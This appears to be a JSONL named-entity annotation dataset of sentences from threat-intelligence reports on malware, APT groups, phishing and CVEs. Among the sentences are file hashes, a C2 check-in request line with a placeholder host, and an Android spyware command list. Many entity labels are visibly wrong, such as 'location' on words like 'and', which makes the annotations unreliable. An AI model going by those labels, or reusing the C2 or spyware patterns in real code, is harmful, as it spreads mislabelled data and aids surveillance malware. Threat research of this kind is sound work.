{"id":10204,"text":"Open source malware like Sorano and AdamantiumThief were also observed.","entities":[{"id":31176,"label":"attack-pattern","start_offset":5,"end_offset":11},{"id":31178,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]}
{"id":3153,"text":"We found that 73% of IT and business leaders are concerned with the size of their attack surface, and 43% claim it is \u201cspiralling out of control.\u201d","entities":[],"relations":[],"Comments":[]}
{"id":10116,"text":"Trojan.MSIL.SUPERNOVA.A ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6  d130bd75645c2433f88ac03e73395fba172ef676 Backdoor.","entities":[{"id":30839,"label":"SHA1","start_offset":24,"end_offset":88},{"id":30840,"label":"SHA1","start_offset":90,"end_offset":130}],"relations":[],"Comments":[]}
{"id":2888,"text":"It appears that the attacker reused the code from the earlier exploit and forgot to remove the unnecessary variables.","entities":[],"relations":[],"Comments":[]}
{"id":1814,"text":"The attackers also checked the running processes in the system via TaskList to check for antivirus processes running in the infiltrated system.","entities":[],"relations":[],"Comments":[]}
{"id":5136,"text":"Once they're inside they move around.","entities":[],"relations":[],"Comments":[]}
{"id":13341,"text":"     Scheduled tasks play a very important role in this incident.","entities":[],"relations":[],"Comments":[]}
{"id":8170,"text":"     Figure 1. Diagram showing how the BEC scam is carried out      Background","entities":[],"relations":[],"Comments":[]}
{"id":3182,"text":"The initial delivery mechanism of BIOPASS RAT uses of a watering hole, a compromised website in which the malicious actors inject their custom JavaScript code to deliver malware.","entities":[{"id":48312,"label":"attack-pattern","start_offset":56,"end_offset":69},{"id":48311,"label":"malware","start_offset":34,"end_offset":45}],"relations":[{"id":405,"from_id":48311,"to_id":48312,"type":"uses"}],"Comments":[]}
{"id":9011,"text":"The malware known as RATANKBA is just one of the weapons in Lazarus\u2019 arsenal.","entities":[{"id":27844,"label":"identity","start_offset":33,"end_offset":37},{"id":27845,"label":"location","start_offset":38,"end_offset":41},{"id":27846,"label":"malware","start_offset":60,"end_offset":67},{"id":27847,"label":"location","start_offset":69,"end_offset":76}],"relations":[],"Comments":[]}
{"id":14351,"text":"In March 2017, another new variant appeared with the ability to steal photos when users take them using the camera.","entities":[{"id":51796,"label":"TIME","start_offset":3,"end_offset":13}],"relations":[],"Comments":[]}
{"id":4349,"text":"     Figure 5.","entities":[],"relations":[],"Comments":[]}
{"id":11546,"text":"Previously described by Amnesty, this phishing kit has remained under active development over the past five years.","entities":[{"id":35384,"label":"attack-pattern","start_offset":38,"end_offset":46}],"relations":[],"Comments":[]}
{"id":4707,"text":"We also publicly release information about the operations we disrupt, which is available to our government partners and the general public.","entities":[],"relations":[],"Comments":[]}
{"id":4046,"text":"After the payload is deployed, the actors can continue further malicious actions through Quasar RAT.","entities":[{"id":49895,"label":"malware","start_offset":89,"end_offset":99}],"relations":[],"Comments":[]}
{"id":3212,"text":"In the following section, we provide an analysis for each important backdoor module.","entities":[],"relations":[],"Comments":[]}
{"id":292,"text":" Please see the IoCs on GitHub.","entities":[{"id":45987,"label":"SOFTWARE","start_offset":24,"end_offset":30}],"relations":[],"Comments":[]}
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{"id":11221,"text":"HYPERSCRAPE then begins iterating through all available tabs in the inbox looking for emails to download.","entities":[],"relations":[],"Comments":[]}
{"id":9002,"text":"Both findings suggest that those victims could be compromised by both threat actors, or that Earth Berberoka is actually a subgroup of Iron Tiger.","entities":[{"id":27815,"label":"threat-actor","start_offset":135,"end_offset":145}],"relations":[],"Comments":[]}
{"id":2698,"text":"Learn more about the Cyber Threat Alliance.","entities":[{"id":47933,"label":"identity","start_offset":21,"end_offset":42}],"relations":[],"Comments":[]}
{"id":983,"text":" Users outside of China and those that only download apps from the official Google Play store are not at risk from this threat.  ","entities":[{"id":46480,"label":"SOFTWARE","start_offset":76,"end_offset":87},{"id":46481,"label":"location","start_offset":18,"end_offset":23}],"relations":[],"Comments":[]}
{"id":4458,"text":" Google has a long track record combating commercial surveillance tools targeting our users.","entities":[{"id":50236,"label":"identity","start_offset":1,"end_offset":7}],"relations":[],"Comments":[]}
{"id":1199,"text":" Palo Alto Networks Wildfire, through custom SMS blocking policies, recently discovered eight different SMS-based IAP SDKs with this abusive functionality.","entities":[{"id":46588,"label":"SOFTWARE","start_offset":1,"end_offset":28}],"relations":[],"Comments":[]}
{"id":4155,"text":"It also provides an easy and effective way of copying data to several cloud storage providers.","entities":[],"relations":[],"Comments":[]}
{"id":13563,"text":"If the store\u2019s e-commerce system is vulnerable to XSS attacks, the malicious script will be loaded and executed on the merchant\u2019s management panel once someone (like a system administrator or store employee) opens the said order.","entities":[{"id":51641,"label":"attack-pattern","start_offset":50,"end_offset":53},{"id":51642,"label":"malware","start_offset":67,"end_offset":83},{"id":51643,"label":"SOFTWARE","start_offset":130,"end_offset":147}],"relations":[{"id":1121,"from_id":51642,"to_id":51643,"type":"targets"},{"id":1122,"from_id":51642,"to_id":51641,"type":"uses"}],"Comments":[]}
{"id":8029,"text":"In early 2021, APT35 compromised a website affiliated with a UK university to host a phishing kit.","entities":[{"id":24903,"label":"threat-actor","start_offset":15,"end_offset":20},{"id":24905,"label":"location","start_offset":64,"end_offset":74},{"id":24906,"label":"location","start_offset":78,"end_offset":82},{"id":24907,"label":"attack-pattern","start_offset":85,"end_offset":93}],"relations":[],"Comments":[]}
{"id":2049,"text":"Upon navigating to this IP address, we observed an email address \u2013 tebya@poime[.]li \u2013 on the page title, the first link in the chain of attribution (Figure 14).  Using the email address as a pivot, we identified additional domains that were linked to tebya@poime[.]li.","entities":[{"id":45233,"label":"EMAIL","start_offset":67,"end_offset":83},{"id":45234,"label":"EMAIL","start_offset":251,"end_offset":267}],"relations":[],"Comments":[]}
{"id":2387,"text":"For example, both calculate the hash of the code section as an anti-bugging technique, both are designed as fully position-independent code, and both support various kinds of network communication protocols.","entities":[],"relations":[],"Comments":[]}
{"id":6747,"text":"We\u2019ve also seen attackers try to trick people into downloading malware by impersonating health organizations: Generally, we\u2019re not seeing an overall rise in phishing attacks by government-backed groups; this is just a change in tactics.","entities":[{"id":21051,"label":"location","start_offset":141,"end_offset":148},{"id":21052,"label":"attack-pattern","start_offset":157,"end_offset":165},{"id":21053,"label":"identity","start_offset":211,"end_offset":215}],"relations":[],"Comments":[]}
{"id":6400,"text":" Given the geographic dispersion of these victims, the upstream connection to a Ukrainian IP and several other factors, we believe it is highly unlikely that BRc4 was deployed in support of legitimate and sanctioned penetration testing activities.","entities":[{"id":19856,"label":"location","start_offset":1,"end_offset":6},{"id":19858,"label":"location","start_offset":93,"end_offset":96},{"id":19859,"label":"tools","start_offset":158,"end_offset":162},{"id":19860,"label":"location","start_offset":201,"end_offset":204}],"relations":[],"Comments":[]}
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{"id":11131,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q3 2020.","entities":[],"relations":[],"Comments":[]}
{"id":13708,"text":", Trend Micro\u2122 Email Security solution analyzes both the header and the content of an email to stop BEC and other email threats.","entities":[],"relations":[],"Comments":[]}
{"id":2301,"text":"Based on our findings, we believe this threat actor to be a well-resourced group, likely state backed, with access to their own software engineering team based on the quality of the payload code.","entities":[],"relations":[],"Comments":[]}
{"id":3016,"text":"For these devices, take time to configure individual user profiles as much as possible.","entities":[],"relations":[],"Comments":[]}
{"id":1460,"text":"About 6,925 certificates are used to sign between 6 and 19 different apps.","entities":[],"relations":[],"Comments":[]}
{"id":5258,"text":"AnubisSpy wasn\u2019t only published on Google Play.","entities":[{"id":51299,"label":"SOFTWARE","start_offset":35,"end_offset":46},{"id":51298,"label":"malware","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]}
{"id":2805,"text":"Unit 42 researchers have confirmed that the patch is effective against the WanaCrypt0r Ransomware attacks.","entities":[{"id":45701,"label":"identity","start_offset":0,"end_offset":7},{"id":45702,"label":"malware","start_offset":75,"end_offset":86}],"relations":[],"Comments":[]}
{"id":10851,"text":"Figure 6.","entities":[],"relations":[],"Comments":[]}
{"id":14295,"text":"As a result, the attackers behind the scheme will not only obtain the credit card information of the victim, but also steal any money charged to the credit card, so long as the user doesn\u2019t request a chargeback.","entities":[],"relations":[],"Comments":[]}
{"id":3315,"text":"Although these are not implemented inside the BIOPASS RAT malware, we have observed two additional plug-ins that are written in Python (\u201cgetwechatdb\u201d and \u201cxss_spoof\u201d) and were deployed by the threat actor to a victim who had been infected with Cobalt Strike.","entities":[{"id":48398,"label":"malware","start_offset":46,"end_offset":57},{"id":48399,"label":"SOFTWARE","start_offset":128,"end_offset":134},{"id":48400,"label":"tools","start_offset":244,"end_offset":257}],"relations":[{"id":409,"from_id":48398,"to_id":48400,"type":"uses"}],"Comments":[]}
{"id":3531,"text":"Protux with the OpenCSP encryption function Building a proactive incident response strategy Blackgear has been targeting various industries since its emergence a decade ago.","entities":[{"id":49314,"label":"threat-actor","start_offset":92,"end_offset":101},{"id":49312,"label":"malware","start_offset":0,"end_offset":7},{"id":49313,"label":"tools","start_offset":16,"end_offset":23}],"relations":[],"Comments":[]}
{"id":2076,"text":"At the time of writing, we don\u2019t believe x4k is related to LockBit 2.0 activity, but we did find the choice of this particular ransomware family interesting (Figure 20).","entities":[{"id":45253,"label":"malware","start_offset":59,"end_offset":70},{"id":45252,"label":"threat-actor","start_offset":41,"end_offset":44}],"relations":[],"Comments":[]}
{"id":4028,"text":"  Overview of Earth Centaur\u2019s infection chain","entities":[{"id":49868,"label":"threat-actor","start_offset":14,"end_offset":27}],"relations":[],"Comments":[]}
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{"id":7680,"text":"However, over the last nine campaigns since our June report, they also started using .ISO image attachments as the point of entry, as well as a .NET downloader, a new style for macro delivery, a newer version of ServHelper, and a .DLL variant of FlawedAmmyy downloader.","entities":[{"id":23887,"label":"location","start_offset":115,"end_offset":120},{"id":23889,"label":"location","start_offset":224,"end_offset":227},{"id":23890,"label":"malware","start_offset":246,"end_offset":257}],"relations":[],"Comments":[]}
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{"id":9224,"text":"The attacks have been traced back to January 6, 2021, when a new threat group subsequently labelled \u201cHafnium\u201d by Microsoft began exploiting four zero-day bugs in Microsoft Exchange Server.","entities":[{"id":28488,"label":"threat-actor","start_offset":101,"end_offset":108},{"id":28493,"label":"location","start_offset":172,"end_offset":180}],"relations":[],"Comments":[]}
{"id":6766,"text":"The group remained active, with several Gamaredon-related activities reported in February 2020.","entities":[],"relations":[],"Comments":[]}
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{"id":4007,"text":"In a report done by Trend Micro entitled \u201cCritical Infrastructures Exposed and at Risk: Energy and Water Industries\u201d, researchers were able to expose vulnerabilities of human-machine interface (HMI) used in critical water and energy organizations.","entities":[{"id":49863,"label":"identity","start_offset":20,"end_offset":31}],"relations":[],"Comments":[]}
{"id":176,"text":"In some cases, a single file lost is more than enough to count as a fully successful attack.","entities":[],"relations":[],"Comments":[]}
{"id":2355,"text":"Furthermore, it seems this exact exploit was presented by Pangu Lab in a public talk at zer0con21 in April 2021 and Mobile Security Conference (MOSEC) in July 2021.","entities":[{"id":45470,"label":"identity","start_offset":58,"end_offset":67},{"id":45468,"label":"identity","start_offset":116,"end_offset":150},{"id":45469,"label":"TIME","start_offset":154,"end_offset":163},{"id":45466,"label":"identity","start_offset":88,"end_offset":97},{"id":45467,"label":"TIME","start_offset":101,"end_offset":111}],"relations":[],"Comments":[]}
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{"id":2534,"text":"It was deleted and there is no chance to restore it.\u201d","entities":[],"relations":[],"Comments":[]}
{"id":5932,"text":"ALIEN lives inside multiple privileged processes and receives commands from PREDATOR over IPC.","entities":[{"id":18242,"label":"malware","start_offset":0,"end_offset":5},{"id":18243,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]}
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{"id":7551,"text":"In the group's latest campaign, they started using HTML attachments to deliver malicious .XLS files that lead to downloader and backdoor FlawedAmmyy, mostly to target users in South Korea.","entities":[{"id":23538,"label":"location","start_offset":22,"end_offset":30},{"id":23539,"label":"location","start_offset":105,"end_offset":109},{"id":23540,"label":"location","start_offset":124,"end_offset":127},{"id":23541,"label":"tools","start_offset":137,"end_offset":148},{"id":23542,"label":"location","start_offset":160,"end_offset":166}],"relations":[],"Comments":[]}
{"id":4510,"text":"And we offer other advanced phishing and malware protection to administrators to better protect their users.","entities":[],"relations":[],"Comments":[]}
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{"id":11551,"text":"Benabdellah, who also goes by the moniker Houdini, has been actively involved in the day-to-day development and operational deployment of the credential phishing capabilities used by this group since its inception.","entities":[{"id":35397,"label":"location","start_offset":22,"end_offset":26},{"id":35399,"label":"location","start_offset":85,"end_offset":88},{"id":35401,"label":"location","start_offset":108,"end_offset":111},{"id":35402,"label":"attack-pattern","start_offset":153,"end_offset":161},{"id":35403,"label":"malware","start_offset":204,"end_offset":213}],"relations":[],"Comments":[]}
{"id":12375,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q3 2020.","entities":[],"relations":[],"Comments":[]}
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{"id":1655,"text":"This RAT gives a remote attacker complete control over a Windows, Mac OS X, or Linux system through a simple graphical user interface.","entities":[{"id":46870,"label":"SOFTWARE","start_offset":78,"end_offset":84},{"id":46868,"label":"SOFTWARE","start_offset":57,"end_offset":64},{"id":46869,"label":"SOFTWARE","start_offset":66,"end_offset":74}],"relations":[],"Comments":[]}
{"id":2175,"text":"The Cortex XSOAR \u201cCVE-2022-30190 - MSDT RCE\u201d playbook helps speed up the discovery and remediation of compromised hosts within the network.","entities":[{"id":45412,"label":"vulnerability","start_offset":18,"end_offset":32},{"id":45413,"label":"SOFTWARE","start_offset":4,"end_offset":16}],"relations":[],"Comments":[]}
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{"id":1213,"text":" For example, in Figure 4, the policy is defined as deleting SMS satisfying two conditions at the same time:  1. Message comes from the phone number \u201c+8610658008\u201d or \u201c10658008\u201d  2.","entities":[],"relations":[],"Comments":[]}
{"id":14117,"text":"Figure 14 (below) shows a raw comparison across many samples using two time zones.","entities":[],"relations":[],"Comments":[]}
{"id":2356,"text":"In exploiting this port type confusion vulnerability, the exploit authors were able to change the mach port type from IKOT_NAMED_ENTRY to a more privileged port type like IKOT_HOST_SECURITY allowing them to forge their own sec_token and audit_token, and IKOT_HOST_PRIV enabling them to spoof messages to kuncd.  After gaining root, the downloaded payload is loaded and run in the background on the victim's machine via launchtl.","entities":[],"relations":[],"Comments":[]}
{"id":11204,"text":"GET http:\/\/{C2}\/Index.php?Ck=OK HTTP\/1.1","entities":[{"id":34297,"label":"URL","start_offset":4,"end_offset":28}],"relations":[],"Comments":[]}
{"id":12513,"text":"Parallel to the analysis, tracking, and technical disruption of this botnet, Google has filed a lawsuit against two individuals believed to be located in Russia for operating the Glupteba Botnet and its various criminal schemes.","entities":[{"id":38949,"label":"location","start_offset":36,"end_offset":39},{"id":38953,"label":"malware","start_offset":179,"end_offset":187},{"id":38954,"label":"location","start_offset":195,"end_offset":198}],"relations":[],"Comments":[]}
{"id":13006,"text":"Recently observed Ghostwriter credential phishing domains and emails: Curious Gorge, a group TAG attributes to China's PLA SSF, has remained active against government, military, logistics and manufacturing organizations in Ukraine, Russia and Central Asia.","entities":[{"id":48807,"label":"location","start_offset":243,"end_offset":255},{"id":48810,"label":"threat-actor","start_offset":70,"end_offset":83},{"id":48811,"label":"location","start_offset":111,"end_offset":119},{"id":48809,"label":"location","start_offset":232,"end_offset":239},{"id":48808,"label":"location","start_offset":223,"end_offset":230},{"id":48813,"label":"location","start_offset":119,"end_offset":126},{"id":48812,"label":"identity","start_offset":119,"end_offset":126},{"id":40519,"label":"threat-actor","start_offset":18,"end_offset":29},{"id":40520,"label":"attack-pattern","start_offset":41,"end_offset":49}],"relations":[{"id":466,"from_id":48810,"to_id":48812,"type":"attributed-to"}],"Comments":[]}
{"id":2367,"text":"  Delivery URLs Javascript Sandbox escape \/ LPE Backdoor C2","entities":[],"relations":[],"Comments":[]}
{"id":8035,"text":"In May 2020, we discovered that APT35 attempted to upload spyware to the Google Play Store.","entities":[],"relations":[],"Comments":[]}
{"id":1735,"text":"If you get an email and need to go to that website, type the address in your web browser yourself.","entities":[],"relations":[],"Comments":[]}
{"id":13134,"text":"In fact, we receive extensive spreadsheets full of these questions several times a week.","entities":[],"relations":[],"Comments":[]}
{"id":5240,"text":"It can run commands and delete files on the device, as well as install and uninstall Android Application Packages (APKs).","entities":[],"relations":[],"Comments":[]}
{"id":4004,"text":"In general, a Cyber UCG is created when a vital cyber incident affects critical infrastructure owners and operators.","entities":[{"id":49861,"label":"identity","start_offset":14,"end_offset":23}],"relations":[],"Comments":[]}
{"id":3799,"text":"While ChessMaster still uses the previous exploit, it also added more methods to its arsenal: one exploits another vulnerability, CVE-2017-11882 (patched in November 2017), which was also exploited to deliver illegal versions of the Loki infostealer.","entities":[{"id":49668,"label":"malware","start_offset":233,"end_offset":249},{"id":49669,"label":"TIME","start_offset":157,"end_offset":170},{"id":49670,"label":"vulnerability","start_offset":130,"end_offset":144},{"id":49671,"label":"malware","start_offset":6,"end_offset":17}],"relations":[{"id":856,"from_id":49671,"to_id":49670,"type":"exploits"},{"id":857,"from_id":49670,"to_id":49668,"type":"drops"}],"Comments":[]}
{"id":3480,"text":"The encrypted configurations of Marade and Protux can both be found on a single blog post.","entities":[{"id":49285,"label":"malware","start_offset":32,"end_offset":38},{"id":49286,"label":"malware","start_offset":43,"end_offset":49}],"relations":[],"Comments":[]}
{"id":14162,"text":"   This will require a major shift from traditional security practices, as many organizations have supported a best-of-breed approach, utilizing multiple vendors (some say 50-100 security applications on average within a large enterprise).","entities":[],"relations":[],"Comments":[]}
{"id":4002,"text":"This group aims to coordinate a \"whole-of-government\" response to the above-mentioned cyber incident.?","entities":[],"relations":[],"Comments":[]}
{"id":10677,"text":" Source: Apache HTTP Server Project, Trend Micro Inc., NVD CVE-2021-41773 and CVE-2021-42013, the two critical vulnerabilities, are perfect examples of how attackers exploit the vulnerabilities in the Apache HTTP Server.","entities":[{"id":32588,"label":"attack-pattern","start_offset":1,"end_offset":7},{"id":32589,"label":"location","start_offset":9,"end_offset":15},{"id":32591,"label":"location","start_offset":68,"end_offset":73},{"id":32592,"label":"location","start_offset":74,"end_offset":77},{"id":32594,"label":"location","start_offset":128,"end_offset":131}],"relations":[],"Comments":[]}
{"id":5175,"text":"We analyzed this software and found multiple security vulnerabilities.","entities":[],"relations":[],"Comments":[]}
{"id":3350,"text":"While these connections allow us to link the malware to the Winnti Group, the different targets between BIOPASS RAT and the current operations by Winnti\u2019s that we are tracking makes associating the two more difficult.","entities":[{"id":48963,"label":"threat-actor","start_offset":60,"end_offset":72},{"id":48964,"label":"malware","start_offset":104,"end_offset":115},{"id":48965,"label":"threat-actor","start_offset":146,"end_offset":152}],"relations":[{"id":515,"from_id":48963,"to_id":48964,"type":"uses"}],"Comments":[]}
{"id":4058,"text":"In the first connection, ChiserClient will append the host name of the compromised host for check-in purposes.","entities":[{"id":49899,"label":"malware","start_offset":25,"end_offset":37}],"relations":[],"Comments":[]}
{"id":2720,"text":"Shortly after this advisory was released, Microsoft issued an out-of-band patch to protect affected users from CVE-2020-0796.","entities":[{"id":47962,"label":"vulnerability","start_offset":111,"end_offset":124},{"id":47961,"label":"identity","start_offset":42,"end_offset":51}],"relations":[],"Comments":[]}
{"id":7524,"text":"Figure 10.","entities":[],"relations":[],"Comments":[]}
{"id":99,"text":"Below is an overview of what we\u2019re seeing in cloud attacks.","entities":[],"relations":[],"Comments":[]}
{"id":1871,"text":"The visibility enabled by the platform allowed us as researchers to capture the extent of this ransomware\u2019s attack chain and replicate the driver file being abused to verify its function during compromise.","entities":[],"relations":[],"Comments":[]}
{"id":13709,"text":"For source verification and authentication, it uses Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and Domain-Based Message Authentication, Reporting and Conformance (DMARC).","entities":[],"relations":[],"Comments":[]}
{"id":5613,"text":"The name is\u770b\u7247\u795e\u5668 which translates to \u201ca super tool for watching videos\u201d and the icon is a provocative photo.","entities":[{"id":17268,"label":"location","start_offset":45,"end_offset":49},{"id":17269,"label":"location","start_offset":71,"end_offset":74},{"id":17270,"label":"tools","start_offset":101,"end_offset":106}],"relations":[],"Comments":[]}
{"id":870,"text":"It used a simple XOR encryption routine with a static key, allowing victims to easily recover their files without paying a ransom.","entities":[],"relations":[],"Comments":[]}
{"id":3993,"text":"In addition, organizations must know and understand the risks associated with supply chains and smart factories.","entities":[],"relations":[],"Comments":[]}
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{"id":3125,"text":"These attacks could affect you in two ways:  What causes this kind of attack?","entities":[],"relations":[],"Comments":[]}
{"id":9096,"text":"Requests during a time period or from a source IP address that didn\u2019t match their preferred distribution area, for instance, would yield a redirect to a third-party site such as Google.","entities":[{"id":28089,"label":"location","start_offset":18,"end_offset":22},{"id":28090,"label":"attack-pattern","start_offset":40,"end_offset":46}],"relations":[],"Comments":[]}
{"id":5264,"text":"While cyberespionage campaigns on mobile devices may be few and far between compared to ones for desktops or PCs, AnubisSpy proves that they do indeed occur, and may have been more active than initially thought.","entities":[{"id":51303,"label":"malware","start_offset":114,"end_offset":123}],"relations":[],"Comments":[]}
{"id":14113,"text":"When compared to the compile times seen in Operation Earth Kitsune, there are several similarities.","entities":[{"id":48181,"label":"campaign","start_offset":43,"end_offset":66}],"relations":[],"Comments":[]}
{"id":4261,"text":"We found six different keys in the latter category that were different for the Patchwork and Confucius group.","entities":[{"id":50056,"label":"threat-actor","start_offset":79,"end_offset":88},{"id":50057,"label":"threat-actor","start_offset":93,"end_offset":102}],"relations":[],"Comments":[]}
{"id":7317,"text":"          Figures 17-18.","entities":[],"relations":[],"Comments":[]}
{"id":4343,"text":"If the hash is not listed, the file is sent via the C&C to a directory named after the concatenation of the machine name and the username.","entities":[],"relations":[],"Comments":[]}
{"id":1508,"text":" If the backdoor receives a packet in the form of a \"cmdType|cmdBody\" it will check the cmdType list and execute the equivalent instruction.  Valid instructions are between 0-9 and there functionality varies depending on the command.","entities":[],"relations":[],"Comments":[]}
{"id":6205,"text":"A shortcut containing malicious code that was added to the webmail system      Figure 9.","entities":[],"relations":[],"Comments":[]}
{"id":937,"text":"Mobile monetization platforms create software libraries that authors can embed into their apps to start earning money quickly.","entities":[],"relations":[],"Comments":[]}
{"id":5018,"text":"The malware, distributed via email attachments inside of password protected zip files (ua_report.zip), is a .Net executable that when executed steals cookies and saved passwords from Chrome, Edge and Firefox browsers.","entities":[{"id":51079,"label":"FILEPATH","start_offset":87,"end_offset":100},{"id":51082,"label":"SOFTWARE","start_offset":200,"end_offset":207},{"id":51083,"label":"SOFTWARE","start_offset":108,"end_offset":112},{"id":51080,"label":"SOFTWARE","start_offset":183,"end_offset":189},{"id":51081,"label":"SOFTWARE","start_offset":191,"end_offset":195}],"relations":[],"Comments":[]}
{"id":10919,"text":"Message types defined by the threat actor","entities":[],"relations":[],"Comments":[]}
{"id":3599,"text":"We think one of the possible sources of the customized ConfuserEx is the online service Cassandra Crypter, which offers two kinds of subscription plans: The Premium Plan and the Private Stub.","entities":[{"id":49380,"label":"tools","start_offset":88,"end_offset":105},{"id":49379,"label":"tools","start_offset":55,"end_offset":65}],"relations":[],"Comments":[]}
{"id":8974,"text":"The said company was formerly known as Kingsoft Internet Software Holdings Limited, wherein during our previous investigation on the group, we already found one HyperBro DLL signed by a certificate belonging to Kingsoft.","entities":[],"relations":[],"Comments":[]}
{"id":1181,"text":"mr_coolface - Really, not so much, no.","entities":[],"relations":[],"Comments":[]}
{"id":7659,"text":"This reiterates the tricky business of attribution in cybersecurity, which calls for careful inspection.","entities":[],"relations":[],"Comments":[]}
{"id":2663,"text":" Additionally, the LockBit 2.0 RaaS leak site has the most significant number of published victims, with over 850 in total.","entities":[{"id":47853,"label":"threat-actor","start_offset":19,"end_offset":30}],"relations":[],"Comments":[]}
{"id":10888,"text":"This dropped file is a clean WinRAR installer.","entities":[{"id":33149,"label":"malware","start_offset":29,"end_offset":35}],"relations":[],"Comments":[]}
{"id":2158,"text":"It then stores it in a file called 1.t. 1.t, which gets base64 decoded to 1.c, expanded to rgb.exe and then finally executed.","entities":[],"relations":[],"Comments":[]}
{"id":13138,"text":"It collects data from ISV partners like Trend Micro via two mechanisms:  ISVs upload compliance certificates, which are scanned and processed, with the salient information extracted by Marketplace Vendor Insights AWS technology is deployed to ISV production accounts to directly monitor and inspect configuration of technology resources and collect other critical information  ","entities":[{"id":48908,"label":"identity","start_offset":40,"end_offset":51},{"id":48909,"label":"SOFTWARE","start_offset":213,"end_offset":217}],"relations":[],"Comments":[]}
{"id":10226,"text":"As shown in incremental improvements, subsequent versions of the malware hint towards a learning curve of the malware author that is more typical for an inexperienced actor than for an advanced actor.","entities":[],"relations":[],"Comments":[]}
{"id":3220,"text":"If accessed by an HTTP client, it returns a marker value.","entities":[],"relations":[],"Comments":[]}
{"id":14128,"text":"It is important to remember that, except for the administrator user, all other accounts were used as part of the malware deployment (SLUB malware).","entities":[{"id":48194,"label":"malware","start_offset":133,"end_offset":138}],"relations":[],"Comments":[]}
{"id":9536,"text":"Other Known Malware Families","entities":[],"relations":[],"Comments":[]}
{"id":3852,"text":"Backdoor function differences between ANEL 5.0.0 beta1\/5.1.1 rc\/5.1.2 rc1 (left) and ANEL 5.2.0 rev1 (right)","entities":[{"id":49700,"label":"malware","start_offset":38,"end_offset":73},{"id":49701,"label":"malware","start_offset":85,"end_offset":100}],"relations":[],"Comments":[]}
{"id":8511,"text":"Since late 2019, our team has disrupted financially motivated phishing campaigns targeting YouTubers with Cookie Theft malware.","entities":[{"id":26275,"label":"attack-pattern","start_offset":62,"end_offset":70}],"relations":[],"Comments":[]}
{"id":14280,"text":"The following are the supported commands:  CMD Details startrecording Start recording the sound around the device stoprecording Stop recording uploaddata Upload \/sdcard\/DCIM,\/sdcard\/Downloads, \/sdcard\/Movies, \/sdcard\/Pictures, \/sdcard\/Documents files getnumber Get and upload phone number getclipboard Get and upload clipboard contents sms- Send SMS get- Get and upload dedicated files getcontacts Get and upload Contacts getinstalledapps","entities":[{"id":48491,"label":"FILEPATH","start_offset":161,"end_offset":173},{"id":48496,"label":"FILEPATH","start_offset":227,"end_offset":244},{"id":48493,"label":"FILEPATH","start_offset":174,"end_offset":191},{"id":48495,"label":"FILEPATH","start_offset":209,"end_offset":225},{"id":48494,"label":"FILEPATH","start_offset":193,"end_offset":207}],"relations":[],"Comments":[]}
{"id":2665,"text":" LockBit 2.0 claims that they have demanded ransom from at least 12,125 companies, as shown in the figure below.","entities":[{"id":47854,"label":"threat-actor","start_offset":1,"end_offset":12}],"relations":[],"Comments":[]}
{"id":10354,"text":" Figure 7: The components dropped in the %Application Data%\\Microsoft\\CLR\\* directory PRB-Backdoor is a backdoor that takes its name from the function used in the final PowerShell script payload, as seen in the figure below.  Figure 8.","entities":[{"id":31536,"label":"attack-pattern","start_offset":169,"end_offset":179}],"relations":[],"Comments":[]}
{"id":14189,"text":"Zero-day vulnerabilities held in reserve could be exploited during this phase.","entities":[],"relations":[],"Comments":[]}
{"id":10819,"text":"Architecture of the backdoor","entities":[],"relations":[],"Comments":[]}
{"id":1492,"text":"While in some cases that may be justified \u2013 the app may not contain any important or identifying information \u2013 in many of the cases we discovered it is not.","entities":[],"relations":[],"Comments":[]}
{"id":2094,"text":"Unit 42 has observed ransom demands and average payments going up in the latest Ransomware Threat Report.","entities":[{"id":47225,"label":"identity","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]}
{"id":1113,"text":"While this avenue of research is being pursued, it suffers from all the traditional challenges of big data research.","entities":[],"relations":[],"Comments":[]}
{"id":14418,"text":"Most attacks today, including ransomware, are utilizing lateral movement.","entities":[],"relations":[],"Comments":[]}
{"id":13467,"text":"Today, we\u2019re sharing recent findings on government-backed phishing, threats and disinformation, as well as a new bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns.","entities":[{"id":41962,"label":"attack-pattern","start_offset":58,"end_offset":66},{"id":41963,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
{"id":178,"text":"Its impact and scope are both broad and deep in ways that are unique.","entities":[],"relations":[],"Comments":[]}
{"id":8146,"text":"Data encryption process  Figure 15.","entities":[],"relations":[],"Comments":[]}
{"id":5477,"text":"The user list, chat room names, and content of the applications were stored in a remote server without any authentication.","entities":[],"relations":[],"Comments":[]}
{"id":14279,"text":"After fetching and uploading the abovementioned stolen data, the malicious app will check the command (CMD) from the C&C server every 60 seconds.","entities":[],"relations":[],"Comments":[]}
{"id":4927,"text":"We intentionally send these warnings in batches to all users who may be at risk, rather than at the moment we detect the threat itself, so that attackers cannot track our defense strategies.","entities":[],"relations":[],"Comments":[]}
{"id":4560,"text":"This app is quite different from the Turla apps described above and written by a different developer.","entities":[{"id":50377,"label":"threat-actor","start_offset":37,"end_offset":42}],"relations":[],"Comments":[]}
{"id":8004,"text":"Some commodity malware used included RedLine, Vidar, Predator The Thief, Nexus stealer, Azorult, Raccoon, Grand Stealer, Vikro Stealer, Masad (Google\u2019s naming), and Kantal (Google\u2019s naming) which shares code similarity with Vidar.","entities":[{"id":24823,"label":"malware","start_offset":79,"end_offset":86},{"id":24830,"label":"location","start_offset":161,"end_offset":164}],"relations":[],"Comments":[]}
{"id":10284,"text":"     Figure 12.","entities":[],"relations":[],"Comments":[]}
{"id":6138,"text":"The PlugX sample in Table 7 also targeted the same university as all previous samples.","entities":[{"id":18989,"label":"tools","start_offset":4,"end_offset":9},{"id":18990,"label":"location","start_offset":10,"end_offset":16},{"id":18992,"label":"location","start_offset":46,"end_offset":50},{"id":18993,"label":"location","start_offset":51,"end_offset":61}],"relations":[],"Comments":[]}
